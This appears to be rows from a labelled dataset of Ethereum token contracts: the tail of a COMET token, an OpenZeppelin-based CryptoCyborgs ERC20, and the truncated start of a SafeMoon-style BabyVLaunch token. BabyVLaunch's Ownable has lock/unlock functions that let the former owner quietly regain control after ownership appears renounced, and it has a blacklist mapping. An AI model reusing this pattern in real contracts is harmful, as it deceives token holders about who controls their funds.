uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "COMET";
symbol = "COMT";
decimals = 18;
_totalSupply = 10000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-01
*/
// File: @openzeppelin/[email protected]/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contract-5de964b72c.sol
pragma solidity ^0.8.2;
contract CryptoCyborgs is ERC20 {
constructor(address _receiver) ERC20("Crypto Cyborgs", "CYBORG") {
_mint(_receiver, 1000000000000000 * 10 ** 18);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-23
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/*
To be modified before deploying this contract for a project:
- Uniswap Router address if not on ETH
- Dev address
*/
contract BabyVLaunch is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMax;
mapping (address => bool) private _isExcluded;
mapping (address => bool) isBlacklisted;
address[] private _excluded;
